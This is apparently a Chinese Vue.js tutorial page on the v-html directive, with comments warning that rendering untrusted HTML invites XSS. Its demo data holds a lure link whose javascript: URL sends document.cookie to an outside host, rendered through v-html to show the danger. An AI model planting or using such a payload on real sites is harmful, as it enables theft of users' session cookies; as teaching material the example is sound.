<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>v-html_指令</title>
  <!-- 引入Vue -->
  <script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
  <!-- 
    v-html指令：
      1.作用：向指定节点中渲染包含html结构的内容。
      2.与插值语法的区别：
        (1).v-html会替换掉节点中所有的内容，{{xxx}}则不会
        (2).v-html可以识别html结构。
      3.严重注意：v-html有安全性问题！！！
        (1).在网站上动态渲染任意html是非常危险的，容易导致xss攻击。
        (2).一定要在可信的内容上使用v-html,永不要在用户提交的内容上！
        (3).document.cookie针对的是HttpOnly=false的cookie
        (4).如果是HttpOnly=true的cookie,那么JS是无法获取到的
        (5).但是如果攻击者获取到HttpOnly=false的cookie,那么就可以通过服务器端的漏洞获取到HttpOnly=true的cookie
        (6).所以说，HttpOnly=true的cookie也不是绝对安全的
        (7).所以说，v-html这个指令一定要慎用！！！
  -->
  <!-- 准备好一个容器 -->
  <div id="root">
    <div>你好，{{name}}</div>
    <div v-html="str"></div>
    <div v-html="str2"></div>
  </div>
</body>

<script type="text/javascript">
  Vue.config.productionTip = false;   // 阻止vue 在启动时生成生产提示

  new Vue({
    el: "#root",
    data: {
      name: "尚硅谷",
      str: "<h3>你好啊！</h3>",
      // str2: "<a href=javascript:alert(1)>兄弟我找到你想要的资源了，快来</a>",
      str2: '<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了，快来</a>',
    }
  })
</script>

</html>